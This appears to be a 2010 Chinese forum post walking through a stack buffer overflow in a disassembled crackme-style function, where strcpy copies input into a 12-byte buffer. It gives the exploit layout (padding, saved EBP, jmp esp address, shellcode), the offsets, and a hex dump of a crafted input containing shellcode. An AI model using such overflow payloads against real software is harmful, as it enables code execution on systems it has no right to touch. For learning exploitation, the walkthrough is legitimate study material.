- UID
- 68738
注册时间2010-7-12
阅读权限10
最后登录1970-1-1
周游历练
该用户从未签到
|
发表于 2010-7-13 06:37:35
|
显示全部楼层
; Attributes: bp-based frame
; int __cdecl sub_401020(char *Str1)
sub_401020 proc near
var_4C= byte ptr -4Ch
Dest= byte ptr -0Ch ;栈大小为 0xc
var_4= dword ptr -4
Str1= dword ptr 8
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
lea edi, [ebp+var_4C]
mov ecx, 13h
mov eax, 0CCCCCCCCh
rep stosd
push offset Str2 ; "1234567"
mov eax, [ebp+Str1]
push eax ; Str1
call _strcmp
add esp, 8
mov [ebp+var_4], eax
mov ecx, [ebp+Str1]
push ecx ; Source
lea edx, [ebp+Dest]
push edx ; Dest 大小 0xc
call _strcpy ; 很明显的 _strcpy
add esp, 8
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
add esp, 4Ch
cmp ebp, esp
call __chkesp
mov esp, ebp
pop ebp
retn
sub_401020 endp
///////////////////////////////////////
push ecx ; Source
lea edx, [ebp+Dest]
push edx ; Dest 大小 0xc
call _strcpy ; 很明显的 _strcpy
当 Source 长度大0xc时发后溢出, 最简单的shellcode形式:
buf + ebp + jmp esp + shellcode
长度计算:0xc + 0x4 + 0x4 + shellcode
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 31 32 33 34 35 36 37 38 39 30 61 62 63 64 65 66 1234567890abcdef
00000010 12 45 FA 7F 33 DB 53 68 2E 50 59 47 68 39 36 40 .E?3跾h.PYGh96@
00000020 39 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 9嬆SPPS戈.誻 |
|